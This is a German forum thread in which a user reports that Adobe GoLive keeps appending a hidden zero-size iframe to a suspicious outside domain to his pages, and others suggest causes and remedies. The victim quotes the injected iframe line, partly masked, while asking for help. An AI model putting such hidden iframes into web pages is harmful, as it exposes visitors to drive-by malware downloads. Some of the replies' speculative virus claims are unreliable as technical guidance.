[mittwolf]

Hallo,

ganz neu (zumindest mir):
wenn ich mit Golive (egal welche Version) eine Webseite erstelle oder editiere ist nach dem Abspeichern in der letzten Zeile der Seite plötzlich folgender String zu finden:
<iframe src="http://internet.wpvgm.com/cuteqqcn.***" width="0" height="0" frameborder="0"></iframe> (htm habe ich hier zur Sicherheit mal durch *** ersetzt)
Diese Zeile erscheint ohne mein Zutun. Läßt sich zwar löschen, aber bei jedem Speichern oder aktualisieren ist sie wieder da.
Wenn ich dann diese Seite auf meine HP lade und mit dem IE aufrufe erkennt Kaspersky das als Virus 'Trojan-Downloader.VBS.Psyme.mi'
Wenn ich den PC scanne wird mir keine Bodrohung, oder ein Virus angezeigt.
Wie bekomme ich diese automatische Zeilengenerierung oder was immer das ist, wieder wech?
Für jede Hilfe dankbar!
Gruß Wolfgang

[Smooth-Graphics]

Also ist diese Codezeile schon direkt auf deinem PC oder wie?
Was für ein Virenprogram nutzt du? Schonmal Rootkit Scan gemacht?

//liegt es vielleicht an einergecrackten Version? Die Cracks sind bei GoLive ziemlich verseucht wenn man mal danach ("GoLive trojan") googelt.

[BEEware]

golive ist tot, es lebe dreamweaver. oder noch besser...notepad

[mittwolf]

Die Codezeile ist nirgendwo auf dem PC zu finden.
Sie setzt sich erst beim Speichern rein.
Virenprogramm ist Kaspersky Antivirus (aktuell)
Und Golive ist ein echtes gekauftes Programm.

W.

[Raumwurm]

Lass doch mal hijackthis drüberlaufen und poste das Log.

[Backware]

[FloB]

Hallo Wolfgang,

diese Variante des Trojaners ist relativ jung. Über die Verbreitung ist derzeit, in dem von dir beschriebenen Rahmen, noch nichts bekannt. Meiner persönlichen Einschätzung nach könnte der Ursprungsvirus durchaus Schule machen.
Aus der Ferne ist dir leider nicht ohne weiteres zu helfen. Dir bleibt nur auf aktualisierte Scanner zu warten.
Im Zusammenhang mit Psymes ist häufig der IE zu lesen, den solltest in jedem Fall durch Opera oder Firefox ersetzen. Achte ausserdem darauf das dein Windows immer schön gepatcht ist, das kann auch Ärger ersparen. Im schlimmsten Fall handelt es sich bei dem Verteiler des HTML-Links um eine Abart von polyMORPH (dessen Quellcode leider öffentlich ist), einem nicht fassbaren Virus, das würde eine Systemneuinstallation nach sich ziehen. An deiner Stelle würde ich ein bis zwei Wochen warten und die einschlägigen Virenseiten (Sophos, Norton, Kaspersky, Avast & BSI.de) checken mit der Hoffnung das dem Problem schnell auf den Grund gegangen wird.
(EDIT: Es liegt mir fern eine Grundsatzdiskussion zu entfachen. Noch sind andere "nackte" Betriebssysteme dem Fenster aus Sicherheitsgründen überlegen)
Viel Erfolg - wenn sich eine Lösung auftut würde sie mich interessieren

Florian

[Pixelpole]

Apfel != automatisch sicher

...nur mal so als anmerkung...